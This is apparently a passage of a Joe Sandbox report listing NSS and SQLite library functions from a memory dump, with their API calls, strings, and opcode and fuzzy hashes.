Opcode Fuzzy Hash: 075e1b0656cbc6bb3f7c9a5791404c036f85ba2ec440469872315acd00a52af4
Instruction Fuzzy Hash: 19919CB0A04306CFDB14CF65D884B6ABBF1BF49308B15462DE45A97AA0EB31F854CB55

Function 6CEBBD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CEBBD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CEBBD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CEBBD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CEBBD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6CEBBDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6CEBBDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6CEBBDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6CEBBE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6CEBBE1E

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 5392c736ba6902ef68a80cdde62d39b06d1a7baf0cc775c87f7ccdbf5adc54c7
Instruction ID: d1c4a05365ce5bebdca318dcd5bc456dfec734d83745c0f98880007dd7ff427a
Opcode Fuzzy Hash: 5392c736ba6902ef68a80cdde62d39b06d1a7baf0cc775c87f7ccdbf5adc54c7
Instruction Fuzzy Hash: 7221C3B6E0428D57FB0046969F82BAB32749BD174DF180128F916FE741E734E41886A6

Function 6CF68D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CFB14E4,6CF1CC70), ref: 6CF68D47
PR_GetCurrentThread.NSS3 ref: 6CF68D98

Part of subcall function 6CE40F00: PR_GetPageSize.NSS3(6CE40936,FFFFE8AE,?,6CDD16B7,00000000,?,6CE40936,00000000,?,6CDD204A), ref: 6CE40F1B
Part of subcall function 6CE40F00: PR_NewLogModule.NSS3(clock,6CE40936,FFFFE8AE,?,6CDD16B7,00000000,?,6CE40936,00000000,?,6CDD204A), ref: 6CE40F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CF68E7B
htons.WSOCK32(?), ref: 6CF68EDB
PR_GetCurrentThread.NSS3 ref: 6CF68F99
PR_GetCurrentThread.NSS3 ref: 6CF6910A

Strings

%u.%u.%u.%u, xrefs: 6CF68E74

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 02a5e41b5664282af55d290f63711198211fc03a269c8f4fd842f071cbfc445b
Instruction ID: 52aab40ff11648b59b3b98b1bab3d12e7c68ef6635f138cab78def9e959ef2e1
Opcode Fuzzy Hash: 02a5e41b5664282af55d290f63711198211fc03a269c8f4fd842f071cbfc445b
Instruction Fuzzy Hash: 04029B329052518FDB18CF1AC4687A6BBB2EF43314F2A825ED8915FF91CB35DA45C790

Function 6CDEEFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

sqlite_temp_master, xrefs: 6CDEF0A6, 6CDEF2D5
%s %T already exists, xrefs: 6CDEFAC8
authorizer malfunction, xrefs: 6CDEF95C, 6CDEF9BF, 6CDEFA5E, 6CDEFA8B
there is already an index named %s, xrefs: 6CDEF9D7
sqlite_master, xrefs: 6CDEF0AB, 6CDEF2DA, 6CDEF757, 6CDEF93E
table, xrefs: 6CDEF05C, 6CDEFABC, 6CDEFAC7
not authorized, xrefs: 6CDEF957, 6CDEF9BA
temporary table name must be unqualified, xrefs: 6CDEF734
view, xrefs: 6CDEF061, 6CDEF071, 6CDEFAB7

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 49921d1d8e68e5f4776704f23c2dc9565a8864a2deed8debcbe8e447627e915d
Instruction ID: 104d9cd9feab2ca294bce02720db28cc838c367f5d004b2ba373b230f161255a
Opcode Fuzzy Hash: 49921d1d8e68e5f4776704f23c2dc9565a8864a2deed8debcbe8e447627e915d
Instruction Fuzzy Hash: 15729070E04205CFDB14CF68D480BAABBF2BF4D308F1581AED8599BB62D775A845CB90

Function 6CF09C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6CDDC52B), ref: 6CF09D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF0A035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF0A114

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF0A01F, 6CF0A0E4, 6CF0A0FE
database corruption, xrefs: 6CF0A029, 6CF0A108
%s at line %d of [%.10s], xrefs: 6CF0A02E, 6CF0A10D

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: 23a6ffd791ff30219814a90a4105c85b0a979b5bf20e251fb092ac2e75977b36
Instruction ID: 4fe51fb8c138c70abceeebefdffc15bb5d1646ed4dc85628d55da7dd35920cc2
Opcode Fuzzy Hash: 23a6ffd791ff30219814a90a4105c85b0a979b5bf20e251fb092ac2e75977b36
Instruction Fuzzy Hash: 7C22AE717093419FC704CF29C4A062BB7E1BFCAB44F148A2DE8DA97A51EB31D945DB42

Function 6CF29D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6CDE8637,?,?), ref: 6CF29E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6CDE8637), ref: 6CF29ED6

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF29EC0
database corruption, xrefs: 6CF29ECA
%s at line %d of [%.10s], xrefs: 6CF29ECF

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 0d1e9daeea3eaf9cfc0b2a56a9aefda78d5188bc166b1dc4e77edeca2ed42a38
Instruction ID: ae80b38f9adada36dc30d315bfda92b2a8c32ae16b06ba335cb1722ce2335fca
Opcode Fuzzy Hash: 0d1e9daeea3eaf9cfc0b2a56a9aefda78d5188bc166b1dc4e77edeca2ed42a38
Instruction Fuzzy Hash: DF81B471B016058FCB14CFAAC880ADEB3F6EF48304B158569E815AB751EB35EE45CB60

Function 6CF37F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6CF381BC

Strings

BINARY, xrefs: 6CF38126
out of memory, xrefs: 6CF3835B

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: 06ac6ec46a5461b40d4ea10c9da8e66a4a785e5b2babf1f0f397b250a2886dd1
Instruction ID: 4679f05722b0c1c6110eab8d16f5947fc207c6d96717bc19203295326f9ae6e1
Opcode Fuzzy Hash: 06ac6ec46a5461b40d4ea10c9da8e66a4a785e5b2babf1f0f397b250a2886dd1
Instruction Fuzzy Hash: 16529071E05228EFDB04CF95C89079EBBB2BF48318F25915AD819EB751D734A846CB90

Function 6CEB9EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEB9ED6

Part of subcall function 6CEB14C0: TlsGetValue.KERNEL32 ref: 6CEB14E0
Part of subcall function 6CEB14C0: EnterCriticalSection.KERNEL32 ref: 6CEB14F5
Part of subcall function 6CEB14C0: PR_Unlock.NSS3 ref: 6CEB150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6CEB9EE4

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEB9F38

Part of subcall function 6CEBD030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6CEB9F0B), ref: 6CEBD03B
Part of subcall function 6CEBD030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CEBD04E
Part of subcall function 6CEBD030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6CEBD07B
Part of subcall function 6CEBD030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6CEBD08E
Part of subcall function 6CEBD030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEBD09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEB9F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6CEB9F59

Part of subcall function 6CEB9D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CEB9C5B), ref: 6CEB9D82
Part of subcall function 6CEB9D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CEB9C5B), ref: 6CEB9DA9
Part of subcall function 6CEB9D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CEB9C5B), ref: 6CEB9DCE
Part of subcall function 6CEB9D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CEB9C5B), ref: 6CEB9E43

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: ad681ab61a434d2a4b0d9feb227e6abd6553e7e1e6ed84d1ad4b57279f7050fb
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: AA112EB5F042025BF7109BA59D01BBB7374AFA536CF340138E509A7740FB71E5158291

Function 6CF6CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF6D086
PR_Malloc.NSS3(00000001), ref: 6CF6D0B9
PR_Free.NSS3(?), ref: 6CF6D138

Strings

>, xrefs: 6CF6CF5B

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: cd89817002e6fa9c216bba78ebf899c4097fd0a9a6e78f7df101790d3788b131
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: C8D16863B456460BFF14487F8CA03EA77A38792374F784329D1B18BFE5E65988838351

Function 6CF0AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5622cba7d3ff230e48c449a1263356b77bbf1ed239e81fd40799831b957e2b4e
Instruction ID: 038b718ff4557e0522fb19ec867ffdf96d52f861ea86b29221a1f8f374ff5bf2
Opcode Fuzzy Hash: 5622cba7d3ff230e48c449a1263356b77bbf1ed239e81fd40799831b957e2b4e
Instruction Fuzzy Hash: 49F1E071F11216CBDB44CFA9E8A03AEB7F0AB8A708F15862DC905DBB54E7709951CBC1

Function 6CEFDFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CDD5001,?,00000003,00000000), ref: 6CEFDFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6CDD5001,?), ref: 6CEFE2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6CDD5001,?), ref: 6CEFE2DA

Strings

W, xrefs: 6CEFE111

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: c9cac8aa8bc2e2b3fb4a8f7d791cc44aebc5e009f8c21dc34c66dba36c24fe4b
Instruction ID: 1a1c24aef203e0b66b4133c7287c7976710d08cfc36369be84a75b70ffdbc17b
Opcode Fuzzy Hash: c9cac8aa8bc2e2b3fb4a8f7d791cc44aebc5e009f8c21dc34c66dba36c24fe4b
Instruction Fuzzy Hash: 55C1E972A05A558BDB04CE2A84907AA77B2AF8630CF384169DC79ABB41D731B907C7D1

Function 6CEC0E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6CEC1052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6CEC1086

Strings

h(l, xrefs: 6CEC0E55, 6CEC0EC4, 6CEC0F3A, 6CEC0FA7
h(l, xrefs: 6CEC1062, 6CEC105D, 6CEC0F37, 6CEC1081, 6CEC1082

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: memcpymemset
String ID: h(l$h(l
API String ID: 1297977491-3413317348
Opcode ID: c2be0475ce87388ab80427cc6f467ca9375471d003633ce3442053cdec90b235
Instruction ID: b03217610fcf25c28dc9852ff98105c8beaccf89fa7c87a2939249d70cd7fdcc
Opcode Fuzzy Hash: c2be0475ce87388ab80427cc6f467ca9375471d003633ce3442053cdec90b235
Instruction Fuzzy Hash: 2DA15E71F0125A9FCF08CF99C991AEEBBB6BF49314B248129E914A7700D735ED41CBA1

Function 6CDE6F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

*?[, xrefs: 6CDE7034, 6CDE7052, 6CDE7070
noskipscan*, xrefs: 6CDE7067
unordered*, xrefs: 6CDE702B
sz=[0-9]*, xrefs: 6CDE7049

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: 35edbc714b1fb97467fc3ed6a7fba0c3eaec6b3ef9668452698210f88ecba224
Instruction ID: 3a1f72ed639f80ac5f00ef8a6794fcf57e4272639dcdd96c4b8ccd8d8b181344
Opcode Fuzzy Hash: 35edbc714b1fb97467fc3ed6a7fba0c3eaec6b3ef9668452698210f88ecba224
Instruction Fuzzy Hash: 10718D72F042155BEB508F6DC88039E73A29F8D314F260279CD99ABBE2D7719C4687D1

Function 6CE03EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_temp_master, xrefs: 6CE0460F
sqlite_master, xrefs: 6CE0463F
sqlite_, xrefs: 6CE03FAA, 6CE04185

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: fd4af38c4379f0a5892321680a723a5984b809edc8e7de10dbd2b599af686e09
Instruction ID: d30d9fd3342be76e2d3673c37b6c6c8eb2b6f1b7b4c1af071dbb53235fe95007
Opcode Fuzzy Hash: fd4af38c4379f0a5892321680a723a5984b809edc8e7de10dbd2b599af686e09
Instruction Fuzzy Hash: 70228C21B491954FD7418B2682606A67BF2AF6730CB3C559EC9E1AFB42D235EC62C7C0

Function 6CF3BE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6CF3C0B6

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 10956d8b66f3206d9c0192773c926c5b2077ea470fa7093320979b719871124a
Instruction ID: 200b93c014459b13d53d8f6d1073da226fb1c25805bed40e8a8774b665d64bf1
Opcode Fuzzy Hash: 10956d8b66f3206d9c0192773c926c5b2077ea470fa7093320979b719871124a
Instruction Fuzzy Hash: EC92A475E042299FDB05DF98C890BAEB7B2FF88308F245258D819ABB91D735DC45CB90

Function 6CE138E0 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 967COMMON

Download Yara Rule

Strings

., xrefs: 6CE14611

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
